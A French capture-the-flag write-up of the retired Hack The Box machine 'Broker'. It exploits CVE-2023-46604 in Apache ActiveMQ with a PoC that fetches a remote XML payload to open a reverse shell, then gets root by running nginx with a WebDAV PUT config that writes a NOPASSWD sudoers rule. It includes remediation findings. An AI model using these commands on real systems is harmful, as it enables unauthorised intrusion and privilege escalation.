picsou@htb:~/writeups/easy/broker$

Linux Easy

Broker : ActiveMQ OpenWire RCE (CVE-2023-46604) puis sudo nginx

RCE sur Apache ActiveMQ via OpenWire (CVE-2023-46604), puis élévation vers root en abusant d'une règle sudo NOPASSWD sur nginx pour écrire dans /etc/sudoers.d.

box
Broker
os
Linux
difficulté
Easy
résolue le
publiée le
temps
45 min
indices
aucun
outils
nmap python3 nc
techniques
Scan de ports Identifiants par défaut Exploit public (CVE) Mauvaise config sudo Écriture de fichier arbitraire via WebDAV (PUT)
cve
CVE-2023-46604

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Scan nmap : SSH et un nginx qui redirige vers une authentification Basic realm ActiveMQRealm.
  2. Identifiants par défaut admin:admin sur le panel ActiveMQ, qui confirme la présence du service et de son port OpenWire (61616).
  3. Exploitation de CVE-2023-46604 (désérialisation OpenWire) pour obtenir un reverse shell en tant que activemq.
  4. sudo -l révèle une règle NOPASSWD sur /usr/sbin/nginx : abus via GTFOBins pour monter un serveur nginx root avec WebDAV PUT activé.
  5. Écriture arbitraire dans /etc/sudoers.d/ pour se donner un sudo NOPASSWD complet, puis sudo su - vers root.

Reconnaissance

kali
nmap -sVC -T4 10.129.230.87
nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seuls deux ports ressortent du scan top 1000. Le port 80 ne répond que par un 401, mais le realm ActiveMQRealm est explicite : c'est la console web d'Apache ActiveMQ, remontée derrière nginx.

Énumération

La console ActiveMQ expose classiquement son port OpenWire sur 61616 en plus de l'interface web. Avant même de le scanner, l'identifiant de realm suffit à orienter vers ce service et sa CVE la plus connue.

kali
curl -u admin:admin http://10.129.230.87/

Les identifiants par défaut admin:admin fonctionnent et donnent accès au panel d'administration ActiveMQ, confirmant la version du service (Apache ActiveMQ 5.15.15) et la présence du port OpenWire 61616, qui est le vecteur réellement exploité ensuite.

Foothold

Apache ActiveMQ 5.15.15 est vulnérable à CVE-2023-46604 : le protocole OpenWire désérialise un message en instanciant n'importe quelle classe avec n'importe quel constructeur, ce qui permet d'exécuter une commande arbitraire côté serveur via un fichier XML Spring malveillant.

Le PoC public de vulhub fonctionne mais ne fait qu'exécuter une commande ponctuelle, sans shell interactif. Un PoC avec reverse shell intégré a été nécessaire :

kali
python3 -m http.server 8080
txt
10.129.230.87 - - [21/Oct/2026 14:19:52] "GET /poc.xml HTTP/1.1" 200 -
kali
nc -lvnp 4444
kali
python3 poc.py 10.129.230.87 61616 http://10.10.14.84:8080/poc.xml
nc
Ncat: Connection from 10.129.230.87:52724.
bash: cannot set terminal process group (878): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$

Shell obtenu en tant que activemq.

activemq@broker
cd /home/activemq
cat user.txt
txt
HTB{REDACTED}

Élévation vers root

activemq@broker
id; sudo -l
txt
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

activemq peut lancer nginx en root sans mot de passe, et donc avec n'importe quel fichier de configuration. GTFOBins référence ce vecteur (gtfobins.org/gtfobins/nginx) : la méthode « Upload » consiste à démarrer un nginx root qui écoute en local avec WebDAV (dav_methods PUT) activé sur la racine /, pour écrire n'importe quel fichier du système via une simple requête PUT.

activemq@broker
cat >/tmp/root.conf <<'EOF'
user root;
worker_processes 1;
pid /tmp/ngx.pid;
events {}
http {
  client_body_temp_path /tmp;
  server {
    listen 127.0.0.1:8888;
    root /;
    dav_methods PUT;
    create_full_put_path on;
  }
}
EOF
sudo nginx -c /tmp/root.conf

Ce nginx root écoute uniquement en local sur le port 8888, avec tout le système de fichiers en racine et PUT activé. Il ne reste qu'à écrire une règle sudo permissive pour soi-même :

activemq@broker
curl -s -X PUT http://127.0.0.1:8888/etc/sudoers.d/pwn --data-binary 'activemq ALL=(ALL) NOPASSWD: ALL'
activemq@broker
sudo -l
txt
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: ALL
kali
sudo su -
cat /root/root.txt
txt
HTB{REDACTED}

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Apache ActiveMQ 5.15.15 vulnérable à CVE-2023-46604 (RCE non authentifiée via OpenWire)CritiqueMettre à jour ActiveMQ vers une version corrigée (5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 ou supérieure)
F2Identifiants par défaut admin:admin sur la console ActiveMQÉlevéeChanger les identifiants par défaut et restreindre l'accès réseau à la console
F3Règle sudo NOPASSWD: /usr/sbin/nginx permettant de charger une configuration arbitraireÉlevéeRetirer ce droit sudo, ou le restreindre à un fichier de configuration fixe non modifiable par l'utilisateur

Leçons apprises

Le PoC public (vulhub) de CVE-2023-46604 ne fournit qu'une exécution de commande ponctuelle, insuffisante pour une exploitation confortable : il a fallu l'adapter pour intégrer un reverse shell directement dans le poc.xml, publié séparément sur GitHub.

Côté privesc, retenir le réflexe GTFOBins dès qu'un sudo NOPASSWD porte sur un binaire qui accepte un fichier de configuration arbitraire (nginx, mais aussi apache, tar, etc.) : la méthode « Upload » de nginx via WebDAV PUT est une primitive d'écriture de fichier arbitraire en root particulièrement directe.

Références